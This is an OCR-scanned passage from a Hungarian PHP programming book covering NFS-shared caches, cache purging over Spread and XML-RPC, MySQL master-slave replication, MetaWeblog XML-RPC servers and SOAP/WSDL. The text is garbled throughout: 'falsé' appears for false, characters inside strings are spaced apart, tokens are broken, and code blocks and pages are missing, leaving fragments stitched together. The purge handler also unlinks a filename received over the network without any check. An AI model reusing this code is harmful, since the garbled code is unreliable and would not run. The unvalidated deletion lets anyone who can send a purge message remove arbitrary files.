ga a gyorstár így már nem tekinthető teljes mértékben elosztottnak - csak az azt megvaló-
sító gépek).
Az NFS valódi szépsége a felhasználó szempontjából az, hogy nem látszik különbözőnek
más fájlrendszerektől, így igen egyszerű utat mutat a gyorstár megvalósításának kiterjesz-
tésére egyetlen gépről gépek egy fürtjére.
#/etc/fstab
nfs-server: /shares/cache/www. foo.com /cache/www. foo. com nfs rw,noatime —
# mount -a
• Szükség van egy NFS kiszolgálóra - ez a legtöbb esetben egy kifejezetten e célt
szolgáló gép.
• Az NFS kiszolgáló az egész rendszer Achilles-sarka. Számos gyártó készít ipari mi-
nőségű NFS kiszolgáló készülékeket, de magunk is készíthetünk olyan összeállítá-
sokat, melyekre bizalommal hagyatkozhatunk.
• Az NFS kiszolgáló sok esetben szűk keresztmetszetet jelent a teljesítmény szempont-
jából. A központi kiszolgálónak viselnie kell a lemezes bemeneti-kimeneti művele-
tek terhelését minden webkiszolgáló gyorstáránál, és az adatokat a hálózaton is át
kell adnia. Ez mind a lemezhasználat, mind a hálózati átvitel esetében adattorlódás-
hoz vezethet. A gondok elkerülésére érdemes megfogadnunk néhány jó tanácsot:
1. Csatoljuk megosztott könyvtárainkat a noatime beállítással - ez kikapcsolja
a fájlok metaadatainak frissítését olvasási célú elérések esetén.
2. Figyeljük a hálózati forgalmat, és alkalmazzunk nyalábolt (trunked)
Ethernet/Gigabit Ethernet rendszert, ha a sávszélesség-kihasználás
75 Mbps fölé nő.
3. Hívjuk meg legtapasztaltabb rendszerfelügyelő ismerőseinket egy sörre, és kér-
dezzük ki őket az NFS réteg hangolásának titkairól. Minden operációs rendszer
a maga egyedi módján áll hozzá az NFS-hez, így ez a fajta finomhangolás igen
nehéz feladat. Kedvenc idézetem e téren a 4.4 BSD súgóoldalainak NFS csatolá-
sokról szóló részében található:
15. fejezet • Elosztott környezet kiépítése 413
Ez a módszer tökéletesen működik, amíg a hálózatot fel nem osztják - vagyis gépek nem
csatlakoznak, illetve nem szakadnak le a gyűrűről. Tegyük fel például, hogy az egyik gép
összeomlik, majd újra elindul. Működésének szünetében elképzelhető, hogy a gyorstár
bejegyzései frissültek. Lehetséges, bár meglehetősen bonyolult olyan rendszert készíteni,
amely a Spread segítségével újra érvényesíti a változtatásokat ilyen eseményeknél. Szeren-
csére a tárolt adatok természetükből következően időlegesek, újbóli elkészítésük pedig
nem túlzottan költséges. Ebből a feltételezésből kiindulva egyszerűen kiüríthetjük a web-
kiszolgáló gyorstárát minden olyan alkalommal, amikor a démon újraindul. Ez kemény lé-
pés, de egyszerű módszert ad arra, hogy elkerüljük az elavult adatok használatát.
414 PHP fejlesztés felsőfokon
15.8. ábra
Egy egyszerű Spread gyűrű.
Mindennek megvalósításához telepítenünk kell néhány eszközt. Először is, le kell tölte-
nünk, majd telepítenünk kell a Spread eszközkészletet a www. spread. org címről. Ez-
után telepítenünk kell a Spread burkolóját a PEAR-ben:
A Spread burkolókönyvtár C-ben készült, így fordításához fontos, hogy minden PHP fej-
lesztőeszköz telepítve legyen (ez így van, ha a forrásból építettük fel a PHP-t). Ha nem sze-
retnénk saját protokollt készíteni, kiürítési kérelmeinket az XML-RPC segítségével továbbít-
hatjuk. Ez némiképp túlzásnak tűnhet, de az XML-RPC valójában igen jó választás. Sokkal
egyszerűbb, mint a SOAP, mindemellett viszonylag bővíthető és „konyhakész" formátum,
amely lehetővé teszi, hogy szükség esetén más nyelveken futó ügyfeleket is alkalmazzunk
(így például egy önálló grafikus felhasználói felület is ellenőrizheti és ürítheti a gyorstárfáj-
lokat). Mindenekelőtt telepítenünk kell egy XML-RPC könyvtárat. A PEAR XML-RPC könyv-
tár nagyszerűen működik, telepítése a PEAR-ben az alábbiak szerint végezhető el:
Eszközeink telepítése után szükségünk van egy ügyfélre is. Cache_File osztályunkat ki-
bővíthetjük egy, az adatok kiürítését végző tagfüggvénnyel:
require_once 'XML/RPC.php';
Ez a tagfüggvény végzi a munka dandárját. Készítünk egy XML-RPC üzenetet, majd el-
küldjük a multicast tagfüggvénnyel az xmlrpc csoportnak:
function purge()
{
// Ezt a szétcsatolást nem kell végrehajtanunk,
// saját helyi démonunk megteszi helyettünk:
// unlink ("$this->cachedir/$this->filename");
$params = array($this->filename);
$client = new XML_RPC_Message("purgeCacheEntry", $params);
$this->spread->multicast($this->spreadGroup, $client->serialize());
}
}
}
416 PHP fejlesztés felsőfokon
Ezek után, ahányszor csak érvénytelenítenünk kell egy gyorstárfájlt, az alábbi kódot
használhatjuk:
$cache->purge();
require_once 'XML/RPC/Server.php';
$CACHEBASE = ' / c a c h e / ' ;
$serverName = ' 4 8 0 3 ' ;
$groupName = 'xmlrpc';
function purgeCacheEntry($message) {
global $CACHEBASE;
$val = $message->params[0];
$filename = $val->getval();
unlink("$CACHEBASE/$filename");
}
Szükségünk van még az XML-RPC beállítására - egy kiosztási tömbben meg kell adnunk
kiszolgálóobjektumunk számára, milyen függvényeket hívjon:
$dispatches = array(
'purgeCacheEntry' =>
array('function' => 'purgeCacheEntry'));
$server = new XML_RPC_Server($dispatches , 0 ) ;
Adatbázisok méretezése
A nagyméretű szolgáltatások felépítésének egyik legnagyobb kihívása az adatbázisok mé-
retezése. Ez nem csak a relációs adatbázis-kezelő rendszerekre igaz, hanem szinte min-
den központi adattárolóra. Kézenfekvő megoldásként kínálkozik az adattárolók méretezé-
sére, hogy ugyanazt tegyük velük, mint bármely más szolgáltatással - osszuk fel, és ren-
dezzük fürtökbe. Sajnálatos módon azonban a relációs adatbázis-kezelők esetében sokkal
nehezebb dolgunk akad, mint más szolgáltatásoknál.
Néha azonban előfordul, hogy olyan, adatbázisra épülő alkalmazással van dolgunk, mely-
ben az egyes sémákra annyi SQL kód hat, hogy ennek méretezésére is szükség van. Leg-
több esetben a nagyobb teljesítményű hardver beszerzése egyszerű és tökéletes megol-
dást ad erre a problémára, de előfordulhat, hogy ez nem járható út:
A 12. fejezetben láthattuk, hogy ha a kelleténél több sort olvasunk be, a lekérdezések le-
lassulhatnak, hiszen minden kapott adatot át kell vinnünk a hálózaton az adatbázistól
a kérelmet kiadó géphez. Kiterjedt alkalmazásokban ez a terhelés jelentős hatással lehet
a hálózat működésére. Tekintsük a következő példát: ha 100 sort kérünk egy oldal elké-
szítéshez, soraink pedig átlagosan 1 KB méretűek, akkor oldalanként 100 KB adatot kell
átvinnünk a helyi hálózaton. Ha ezt az oldalt másodpercenként 100-szor kérik, akkor csak
az adatbázisból 100 KB x 100 - 10 MB adatot kell átvinnünk másodpercenként. Figyel-
jünk, bájtokról van szó, nem bitekről! Ha bitben számolunk, akkor ez 80 Mbps-ot jelent,
ami gyakorlatilag teljesen lefoglal egy 100 Mbps-os Ethernet csatolást.
A példa persze kissé mesterkélt. Ha kérelmenként ennyi adatot kell átvinnünk, az biztos
jele annak, hogy valamit elrontottunk - mindazonáltal ez a példa jól mutatja, miként ké-
418 PHP fejlesztés felsőfokon
Az osztott tárral nem rendelkező mester-mester sémáknak meg kell birkózniuk a tranzak-
ciók összehangolásával, és kezelniük kell a hálózaton keresztül lebonyolított kétlépéses
végrehajtásokat is (nem is beszélve az olvasások közben megtartandó adatépségről). Ezek
a megoldások ráadásul általában lassúak is. (A „lassúság" persze viszonylagos fogalom.
E rendszerek közül sok igen gyorssá is tehető - ez a sebesség azonban elmarad a kétszer
akkora teljesítményű önálló gépekétől, sőt sokszor még az azonos teljesítményűekétől is.)
• Az ígéreti szakasz, ahol az adatbázis, melybe az ügyfél ír, ígéretet tesz a végrehajtás
elvégzésére minden ügyfelének.
• A végrehajtási szakasz, ahol maga a végrehajtás megtörténik.
Amint azt kitalálhattuk, ez a folyamat jelentős többletterhet ró minden írási műveletre, ami
nagy gondot jelenthet, ha az alkalmazásnak már eleve gondjai vannak az írási műveletek
mennyiségével.
Marad tehát a mester-szolga többszörözés. Itt kevesebb technikai kihívással kell szembe-
néznünk, mint a mester-mester megoldásnál, és jelentős sebességnövekedést érhetünk el.
Nagy különbség a mester—mester és a mester—szolga rendszerek között, hogy az előbbi-
nek globális összhangra van szüksége, vagyis az adatbázis minden adatának tökéletesen
összhangban kell lennie a többiekkel. A mester-szolga többszörözés esetében a frissíté-
420 PHP fejlesztés felsőfokon
sek sokszor nem is valós idejűek. így például a frissítések mind a MySQL többszörözésé-
ben, mind az Oracle pillanatfelvétel alapú többszörözésében az adatváltoztatásoktól eltérő
időben történnek meg.
Mindkét esetben lehetőségünk van arra, hogy szigorúan szabályozzuk az elavultság meg-
engedett mértékét, de még az enyhén elavult adatok használatának lehetővé tétele is je-
lentős terheléscsökkenést eredményezhet.
A 15.9- ábrán MySQL kiszolgálók egy fürtjét láthatjuk, amely a mester—szolga többszörö-
zésre épül. Az alkalmazás adatokat olvashat a szolgakiszolgálók bármelyikéből, de
a többszörözött táblák frissítését a mesterkiszolgálóra kell küldenie.
15.9. ábra
A MySQL mester-szolga többszörözésének áttekintése.
$dbh = mysqli_init();
mysqli_real_connect($dbh, $host, $user, $password, $dbname);
mysqli_rpl_parse_enable($dbh);
// a lekérdezések szokásos előkészítése és végrehajtása
$dbh = mysqli_init();
mysqli_real_connect($dbh, $host, $user, $password, $dbname);
mysqli_slave_query($dbh, $readonly_query);
mysqli_master_query($dbh, $write_query);
422 PHP fejlesztés felsőfokon
mysql_select_db($this->slave_dbname, $this->slave_dbh);
}
protected function _execute($dbh, $query) {
$ret = mysql_query($query, $dbh) ;
if(is_resource($ret)) {
return new DB_MysqlStatement($ret);
}
return falsé;
}
public function master_execute($query) {
if(!is_resource($this->dbh)) {
$this->connect_master();
}
$this->_execute($this->dbh, $query);
}
public function slave_execute($query) {
if(!is_resource($this->slave_dbh)) {
$this->connect_slave();
}
$this->_execute($this->slave_dbh, $query);
}
}
15. fejezet • Elosztott környezet kiépítése 423
A többszörözés alternatívái
Amint a fejezet korábbi részében említettük, a mester-szolga többszörözés nem oldja meg
minden adatbázis méretezhetőségi gondjait. Sok írási műveletet tartalmazó alkalmazásnál
a szolgák használatba vétele ronthat a teljesítményen. Ilyenkor a program olyan sajátossá-
gai után kell néznünk, amiket hatékonyan kihasználhatunk.
Ilyen eset lehet például, amikor olyan adatokat találunk, amelyek könnyen részekre bont-
hatók. Ez gyakorlatilag azt jelenti, hogy egy logikai sémát több fizikai adatbázisra osztunk
egy elsődleges kulccsal összekötve. A hatékony részekre bontásnak egyetlen alapszabálya
létezik: mindenféleképpen kerüljük az olyan lekérdezések használatát, amelyek egyszerre
több adatbázist is elérnek.
class Email {
public $recipient;
public $sender;
public $body;
/* ... */
}
class PartionedEmailDB {
public $databases;
A PHP alapú alkalmazáskiszolgálók körében érdekes fejlesztés Dériek Rethans SRM pro-
jektje. Az SRM gyakorlatilag egy alkalmazáskiszolgáló környezet, amely egy beágyazott
PHP értelmező köré épül. Az alkalmazásszolgáltatások PHP-ben készültek, és egy csatolt
kommunikációs bővítmény segítségével érintkeznek egymással. Egy maradandó PHP al-
kalmazáskiszolgáló léte a nyelv rugalmasságára szolgáltat újabb bizonyítékot, ami öröm-
mel tölt el minden programozót, aki valamennyire is ad a kód újrahasznosíthatóságára.
További olvasmányok
Jeremy Zawodny honlapján (http: / / j eremy. zawodny. com/mysql /) számos cikket
és előadást találhatunk a MysSQL méretezéséről és a MySQL többszörözésről.
Ahhoz, hogy valóban jól használhatóak legyenek, az RPC protokolloknak az alábbi tulaj-
donságokkal kell rendelkezniük:
Maga a HTTP nem elégíti ki a fentiek egyikét sem, de hihetetlenül kényelmes átviteli réte-
get biztosít az RPC kérelmek küldésére. A webkiszolgálók széles körben elterjedtek, így
ügyes fogás, ha éppen népszerűségükre építünk azzal, hogy a HTTP-t használjuk RPC ké-
relmeink becsomagolására. Az RPC protokollok közül a legismertebbek az XML-PRPC és
a SOAP, melyeket hagyományosan telepítenek a Világhálón - róluk szólunk fejezetünk
további részében.
Jóllehet az RPC igen rugalmas eszköz, természeténél fogva lassú. Bármely folyamat,
amely RPC-ket használ, azonnal szembe találja magát a távoli szolgáltatás elérhetőségének
és teljesítményének korlátaival. A legjobb esetben is számíthatunk arra, hogy oldalunk
428 PHP fejlesztés felsőfokon
XML-RPC
Az XML-RPC minden XML alapú RPC protokoll őse. Alkalmazói leggyakrabban HTTP
POST kérelmekbe és válaszokba ágyazzák be, de - mint azt a 15. fejezetben bemutattuk -
erre a beágyazásra nincs feltétlenül szükség. Az egyszerű XML-RPC kérelmek olyan XML
dokumentumok, melyek az alábbihoz hasonlóan festenek:
Beszéljünk előbb az ügyfél kódjáról. Az ügyfél készít egy kérelem dokumentumot, elküldi
a kiszolgálónak, majd értelmezi a kapott választ. Az alábbi kód a korábbiakban látott ké-
relmet készíti el, és értelmezi az erre kapott választ:
require_once 'XML/RPC.php';
Természetesen a kiszolgáló oldalán is szükség van némi kódra, ami fogadja a kérelmet,
megtalálja és végrehajtja a megfelelő visszahívható függvényt, majd visszaküldi a választ,
íme egy lehetséges megoldás, amely kezeli az ügyfél kódjában megadott system. load
tagfüggvényt:
require_once 'XML/RPC/Server.php';
function system_load()
{
$uptime = "uptime";
if(preg_match("/load average: ([\d.]+)/", $uptime, $matches)) {
return new XML_RPC_Response( new XML_RPC_Value($matches[1] ,
'string'));
}
}
430 PHP fejlesztés felsőfokon
$dispatches = array('system.load'
=> array('function'
=> 'system_uptime'));
new XML_RPC_Server($dispatches, 1 );
Ezután a visszahívható (callback) függvény rákerül egy kiosztási térképre, amely megha-
tározza, mely függvényekhez rendelje a kiszolgáló az egyes bejövő kérelmeket. A meghí-
vandó függvényekből készítünk egy $dispatches tömböt, amely XML-RPC
tagfüggvényneveket képez le PHP függvényekre. Végezetül létrehozunk egy
XML_RPC_Server objektumot, és átadjuk neki az előzőleg készített kiosztási tömböt.
A második paraméter 1 értéke azt jelzi, hogy a kérelmet azonnal ki kell szolgálni
a service () tagfüggvénnyel (ez egy belső hívás).
Számos webnaplózó rendszer létezik, és rengeteg olyan eszköz, melyek segítenek a hasz-
nálatukban és a bejegyzések küldésében. Ha nem volnának szabványos eljárások, a szé-
leskörű felhasználhatóság érdekében minden eszköznek támogatnia kellene minden
webnaplót, vagy fordítva. Az ilyen kapcsolatrendszer megtartása lehetetlen, ha a benne
részt vevő alkalmazások száma növekszik.
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 431
Természetesen először egy webnaplózó rendszerre van szükség, melyhez ezek az API-k
kapcsolódhatnak. Egy teljes webnaplózó rendszer felépítése meghaladná könyvünk kere-
teit, így hát megelégszünk azzal, hogy egy XML-RPC réteget adunk a Serendipity webnap-
lóhoz. A szóban forgó API-k a bejegyzések küldését intézik, így a Serendipity alábbi eljá-
rásaival kell érintkezniük:
function serendipity_updertEntry($entry) {}
function serendipity_fetchEntry($key, $match) {}
A serendipity_updertEntry () frissít egy bejegyzést, vagy beszúr egy újat, attól füg-
gően, hogy megadtuk-e számára az id változó értékét. A $entry valójában egy tömb,
amely az alábbi adatbázistábla egy általános sorának felel meg (vagyis elemei az oszlopo-
kat adják):
A MetaWeblog API több lehetőséget biztosít, mint a Blogger API, így előbbi megvalósítására
teszünk kísérletet. Tagfüggvényei közül az alábbi három fontosabbat kell megemlítenünk:
metaWeblog.newPost(blogid,username,password,item_struct,publish)
returns string
metaWeblog.editPost(postid,username,password,item_struct,publish)
returns true
metaWeblog.getPost(postid,username,password) returns item_struct
432 PHP fejlesztés felsőfokon
A blogid a megcélzott webnapló azonosítója (ami jól jön, ha a rendszer több webnaplót
is fenntart), a username és a password a küldő azonosítására szolgál, a publish pedig
egy jelző, amely megmondja, hogy a küldött bejegyzés csak vázlat-e, vagy egyenesen me-
het a naplóba.
Ahelyett, hogy saját formátumot választott volna az adatbevitelhez, Dave Winer, a Meta-
Weblog leírásának szerzője az RSS 2.0 leírás item elemének meghatározását választotta
(ezt megtalálhatjuk a http: //blogs. law.harvard.edu/tech/rss címen). Az RSS
egy szabványosított XML formátum cikkek és naplóbejegyzések közlésére. Az item be-
jegyzése az alábbi elemeket tartalmazza:
function metaWeblog_newPost($message) {
$username = $message->params[1]->getval() ;
$password = $message->params[2]->getval() ;
if(!serendípity_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication Fa i l ed' );
}
$item_struct = $message->params[3]->getval();
$publish = $message->params[4]->getval() ;
$entry['title'] = $item_struct['title'] ;
$entry['body'] = $item_struct['description'];
$entry['author' ] = $username;
$entry['isdraft' ] = ($publish == 0)?'true' : ' falsé';
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 433
$id = serendipity_updertEntry($entry);
return new XML_RPC_Response( new XML_RPC_Value($i d, 's t r i n g ' ) ) ;
}
function metaWeblog_editPost($message) {
$postid = $message->params[0 ]->getval();
$username = $message->params[1]->getval();
$password = $message->params[2]->getval();
if(!serendipity_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication F a i l e d ' ) ;
}
$item_struct = $message->params[3]->getval();
$publish = $message->params[4]->getval();
$entry['title'] = $item_struct['title'];
$entry['body'] = $item_struct['description1] ;
$entry['author'] = $username;
$ e n t r y[ ' i d ' ] = $postid;
$entry['isdraft'] = ($publish == 0)?'true' : ' falsé';
$id = serendipity_updertEntry($entry);
return new XML_RPC_Response( new XML_RPC_Value($id?true: falsé,
'boolean'));
}
Itt is ugyanazt a hitelesítést végezzük el, elkészítjük a $entry tömböt, és elküldjük a nap-
lónak. Ha a serendipity_updertEntry a $id értékkel tér vissza, működése sikeres
volt, így a válaszban a true értéket adjuk vissza — ha nem volt sikeres, a válaszunk falsé.
function metaWeblog_getPost($message) {
$postid = $message->params[0]->getval();
$username = $message->params[1]->getval();
$password = $message->params[2]->getval();
if ( !serendipíty_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication Failed');
}
$entry = serendipity_fetchEntry('id', $postid);
$tmp = array(
'pubDate' => new XML_RPC_Value(
XML_RPC_iso8601_encode($entry['timestamp']), 'dateTime.iso8601'),
'postid' => new XML_RPC_Value($postid, 'string'),
'author' => new XML_RPC_Value($entry['author'] , 'string'),
'description' => new XML_RPC_Value($entry['body'] , 'string'),
'title' => new XML_RPC_Value($entry['title'],'string') ,
'link' => new XML_RPC_Value(serendipity_url($postid) , 'string')
);
$entry = new XML_RPC_Value($tmp, ' s t r u c t ' ) ;
return new XML_RPC_Response($entry);
}
Figyeljük meg, hogy a bejegyzés kiolvasása után az item adataiból álló tömböt készítünk.
Az XML_RPC_iso8601 () elvégzi a Serendipity által használt Unix időbélyegző átalakítá-
sát az RSS item által megkövetelt ISO 8601 szabványúra. A kapott tömb ezután becsoma-
golva egy XML_RPC_Value struct-ba kerül. Ez a szabványos módszer arra, hogy XML-
RPC struct típust készítsünk a PHP alaptípusokból.
A struct és az array típusok bármilyen más típust (köztük további struct, illetve
array elemeket) tartalmazhatnak. Ha nem adunk meg típust, a rendszer automatikusan
a string mellett dönt. Jóllehet a PHP minden adata leírható a string, struct, illetve
az array típusok valamelyikével, más típusok is támogatást kaptak, mivel a más nyelven
írt alkalmazásoknak esetleg jobban meghatározott adattípusokra van szükségük.
$dispatches = array(
metaWeblog.newPost' =>
array('function1 => 'metaWeblog_newPost') ,
'metaWeblog.editPost' =>
array('function' => 'metaWeblog_editPost') ,
'metaWeblog.getPost' =>
array('function1 => 'metaWeblog_getPost' ) ) ;
$server = new XML_RPC_Server($dispatches, 1) ;
Mivel a PHP dinamikus nyelv, és nem követeli meg a függvényeknek átadott paraméterek
számának rögzítését, a system.methodSignature által visszaadott adatokat a felhasz-
nálónak kell pontosan meghatároznia. Az XML-RPC tagfüggvényeinek változó paraméte-
rei lehetnek, így a visszatérési érték is egy tömb, amely a lehetséges prototípusokat tartal-
mazza. E prototípusok maguk is tömbök - első elemük a tagfüggvény visszatérési típusa,
ezután pedig a paraméterek típusai következnek.
E kiegészítő adatok tárolására a kiszolgálónak bővítenie kell kiosztási térképét - ezt lát-
hatjuk a metaWeblog.newPost tagfüggvény példáján:
$dispatches = array(
'metaWeblog.newPost' =>
array('function' => 'metaWeblog_newPost' ,
'signature' => array(
array($GLOBALS['XML_RPC_String'],
436 PHP fejlesztés felsőfokon
$GLOBALS['XML_RPC_String'],
$GLOBALS['XML_RPC_String'] ,
$GLOBALS['XML_RPC_String'] ,
$GLOBALS['XML_RPC_Struct'],
$GLOBALS['XML_RPC_String']
)
),
'docstring' => 'Takes blogid, username, password, item_struct '.
'publish_flag and returns the postid of the new entry'),
/* ... */
);
<?php
require_once 'XML/RPC.php';
if($argc != 2) {
print "Must specify a url.\n";
exit ;
}
$url = parse_url($argv[l]) ;
$response = $client~>send($message)->value();
if ($response->kindOf() == 'array') {
$signatures = XML_RPC_decode($response) ;
for($i = 0; $i < count($signatures) ; $i + + ) {
$return = array_shift($signatures[$i] ) ;
$params = implode(", ", $signatures[$i]) ;
print "Signature #$i: $return $method($params)\n";
}
} else {
print "NO SIGNATURE\n";
}
print "\n";
}
?>
/* ... */
Method metaWeblog.newPost:
Takes blogid, username, password, item_struct, publish_flag
and returns the postid of the new entry
Signature #0: string metaWeblog.newPost(string, string, string,
struct, string)
/* ... */
Method system.listMethods:
This method lists all the methods that the XML-RPC server knows
how to dispatch
Signature #0: array system.listMethods(string)
Signature #1: array system.listMethods()
Method system.methodHelp:
Returns help text if defined for the method passed, otherwise
returns an empty string
Signature #0: string system.methodHelp(string)
Method system.methodSignature:
Returns an array of known signatures (an array of arrays) for
the method name passed. If no signatures are known, returns a
none-array (test for type != array to detect missing signature)
Signature #0: array system.methodSignature(string)
438 PHP fejlesztés felsőfokon
Vagyis magyarul:
metaWeblog.newPost tagfüggvény:
Fogadja a blogid, username, password, item_struct és publish_f lag pa-
ramétereket, majd az új bejegyzés azonosítójával tér vissza.
system.methodHelp tagfüggvény:
Az átadott tagfüggvény leírásával tér vissza, vagy ha ez nem létezik, egy üres karak-
terlánccal.
system.methodSignature tagfüggvény:
Az átadott tagfüggvény ismert prototípusait (vagyis tömbök egy tömbjét) adja
vissza. Ha nincs ismert prototípus, a visszatérési érték egy nulltömb (ezt a type ! =
array feltétellel vizsgálhatjuk).
SOAP
A SOAP eredetileg a Simple Object Access Protocol (egyszerű objektumelérési protokoll)
rövidítése volt, de az 1.1-es változattól önállósult. A SOAP egy olyan protokoll, amely al-
kalmas változatos környezetbeli adatcserék lebonyolítására. Az XML-RPC-től eltérően, ami
kifejezetten az RPC-k kezelésére hivatott, a SOAP általános üzenetkezelésre készült, így az
RPC-k ügye csak egyike a számos alkalmazásának. Mindazonáltal, fejezetünk az RPC-kről
szól, így most csak a SOAP 1.1 hozzájuk kapcsolódó részéről szólunk.
Hogy is néz ki a SOAP? íme egy SOAP boríték, amely az xmethods . net tőzsdei árfo-
lyam-lekérdező SOAP szolgáltatását alkalmazza a „hivatalos" bemutató példa megvalósítá-
sára, vagyis az IBM tőzsdei árfolyamának lekérdezésére (azért „hivatalos", mert ez a példa
szerepel a SOAP bemutató leírásában):
<symbol xsi:type="xsd:string">ibm</symbol>
</getQuote>
</soap:Body>
</soap:Envelope>
íme a válasz:
A SOAP esete jól példázza azt, hogy egy egyszerű elgondolás nem feltétlenül jár együtt
egyszerű megvalósítással. A SOAP üzenet egy borítékból áll, ami egy fejlécet és egy üze-
nettörzset tartalmaz. Minden elem névtereken található, ami nagyszerű gondolat, de ne-
hézkessé teszi az XML olvasását.
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
http://schemas.xmlsoap.org/soap/envelope/
A SOAP és a Schema
A SOAP belső működéseihez igénybe veszi a Schema segítségét, ami egy XML alapú nyelv
adatszerkezetek meghatározására és ellenőrzésére. A közmegegyezés szerint egy elem tel-
jes névtere (például http: //schemas .xmlsoap.org/soap/envelope/) egy, a névte-
ret leíró Schema dokumentum. Ez a meghatározás azonban nem kötelező érvényű - a név-
térnek még csak URL-nek sem kell lennie —, de a teljesség kedvéért ezt alkalmazzák.
440 PHP fejlesztés felsőfokon
• xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" -ASOAP
boríték Schema meghatározása leírja az alapvető SOAP objektumokat - ez a névtér
szerepel minden SOAP kérelemben.
• xmlns:xsi="http://www.w3.org/21/XMLSchema-instance" -Azxsi:type
elemtulajdonság gyakran használatos az elemek típusának megadásánál.
• xmlns:xsd= "http://www.w3.org/21/XMLSchema" - A Schema megad né-
hány alapvető adattípust, melyeket adataink meghatározásánál és az ellenőrzésnél
használhatunk.
• xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding" -
Ez a típuskódolások meghatározása, melyek a szabványos SOAP kérelmekben
megjelennek.
WSDL
A SOAP méltó párja a WSDL (Web Services Description Language - webszolgáltatás-leíró
nyelv). Ez egy XML alapú nyelv, ami kifejezetten arra szolgál, hogy a webszolgáltatások
(leggyakrabban a SOAP) lehetőségeit és tagfüggvényeit leírjuk. íme egy WSDL fájl, amely
a korábban már alkalmazott tőzsdei szolgáltatás leírását adja:
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" />
</output>
</operation>
</binding>
<service name="net.xmethods.services.stockquote.StockQuoteService">
<documentation>
net.xmethods.services.stockquote.StockQuote web service
</documentation>
<port name="net.xmethods.services.stockquote.StockQuotePort"
binding="tns:net.xmethods.services.stockquote.StockQuoteBinding">
<soap:address location="http:/ / 6 6 .28.98.121:9090/soap" />
</port>
</service>
</definitions>
Látható, hogy a WSDL sem takarékoskodik a névterek használatával, szerkezete pedig kis-
sé felrúgni látszik a logika szabályait.
A kód első vizsgálatra érdemes része a <portType> címke, amely meghatározza a végre-
hajtható műveleteket, valamint a ki- és bevitt üzeneteket. Esetünkben a getQuote művele-
tet adja meg, amely a getQuoteRequestl kérelmet fogadja, és a getQuoteResponsel
választ adja vissza.
<soap:binding style="rpc"
transport="http://schemas.xmlsoap.org/soap/http" />
Végezetül, a <service> címke felsorol néhány kaput, és címeket határoz meg számukra.
Mivel esetünkben csak egyetlen kaput használunk, a következő kóddal hivatkozunk rá és
kötjük a h t t p : / / 6 6 . 2 8 . 98. 121: 9090/soap címhez:
<port name="net.xmethods.services.stockquote.StockQuotePort"
binding="tns:net.xmethods.services.stockquote.StockQuoteBinding">
<soap:address location="http:/ / 6 6 .28.98.121:9090/soap" />
</port>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 443
Érdemes megjegyeznünk, hogy semmi sem köti a SOAP-ot a HTTP protokollhoz, és vá-
laszt sem kell feltétlenül visszaadnia. Ez egy rugalmas, általános célú protokoll, melynek
a HTTP felett működő RPC csak egyik megvalósítása. A WSDL fájl arról tájékoztat, hogy
milyen szolgáltatások érhetők el, és ezt hogyan és hogyan férhetünk hozzájuk. A kérelmet
és a választ ezután a SOAP valósítja meg.
Szerencsére a PEAR SOAP osztályai elvégzik a munka nagyobb részét. Egy SOAP kérelem
kiadásához először egy új SOAP_Client ügyfélobjektumot kell készítenünk, és át kell ad-
nunk a WSDL fájlt az elérni kívánt szolgáltatásokkal. A SOAP_Client ezután elkészíti az
összes szükséges helyettes kódot a közvetlenül végrehajtott kérelmekhez, legalábbis olyan
esetekben, amikor az adatok mind egyszerű Schema típusoknak feleltethetők meg. Az aláb-
biakban bemutatunk egy teljes ügyfélkérelmet az xmethods.net tőzsdei szolgáltatásához:
require_once "SOAP/Client.php";
$url = "http://services.xmethods.net/soap/
urn:xmethods-delayed-quotes.wsdl";
$soapclient = new SOAP_Client($url, true);
$price = $soapclient->getQuote("ibm")->deserializeBody () ;
print "Current price of IBM is $price\n";
A SOAP_Client ezután átvállalja a helyettes objektum készítésének terhét, mellyel
közvetlenül futtathatjuk a WSDL-ben megadott tagfüggvényeket. A getQuote () hívá-
sát követően a rendszer kicsomagolja az eredményt, és a PHP saját típusaiba írja
a deserializeBody () segítségével. A futtatáskor az alábbi eredményt kapjuk:
> php delayed-stockquote.php
Current price of IBM is 9 0 . 2 5
SOAP programozói tudásunkat nyomban próbára is tehetjük - kíséreljük meg SOAP alatt
megvalósítani az XML-RPC system. load szolgáltatását.
require_once 'SOAP/Server.php';
Van tehát egy teljes értékű kiszolgálónk, de nincs még meg a WSDL fájl, melyből az ügy-
felek megtudhatnák, hogyan férhetnek hozzá ehhez a kiszolgálóhoz. Ennek elkészítése
nem nehéz feladat - csak sok időbe telik. Lássuk, milyen eredményre számíthatunk:
xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/'
xmlns:xsd='http://www.w3.org/2 001/XMLSchema'
xmlns:soapenc='http://schemas.xmlsoap.org/
soap/encoding/'
xmlns:wsdl='http://schemas.xmlsoap.org/wsdl/'
xmlns='http://schemas.xmlsoap.org/wsdl/'>
<message name='SystemLoadResponse'>
<part name='Load' type='xsd:float'/>
</message>
-cmessage name= ' SystemLoadRequest' />
<portType name='SystemLoadPortType'>
■coperation name= ' SystemLoad'>
<input message='tns:SystemLoadRequest'/>
<output message='tns:SystemLoadResponse'/>
</operation>
</portType>
<binding name='SystemLoadBinding'
type='tns:SystemLoadPortType'>
<soap:binding style='rpc'
transport='http://schemas.xmlsoap.org/soap/http'/>
<operation name='SystemLoad'>
<soap:operation soapAction='http://example.org/SystemLoad/'/>
<input>
<soap:body use='encoded'
*» namespace='http://example.org/SystemLoad/'
encodingStyle='http://schemas.xmlsoap.org/
*■► soap/encoding/ ' />
</input>
<output>
<soap:body use='encoded'
namespace='http://example.org/SystemLoad/'
encodingStyle='http://schemas.xmlsoap.org/
soap/encoding/'/>
</output>
</operation>
</binding>
<service name='SystemLoadService'>
<documentation>System Load web service</documentation>
<port name='SystemLoadPort'
binding='tns:SystemLoadBinding'>
<soap:address
location='http://localhost/soap/tests/SystemLoad.php'/>
</port>
</service>
</definitions>
446 PHP fejlesztés felsőfokon
Nos, itt nem sok újdonság bukkant fel. Figyeljük meg, hogy a névterek egybecsengenek
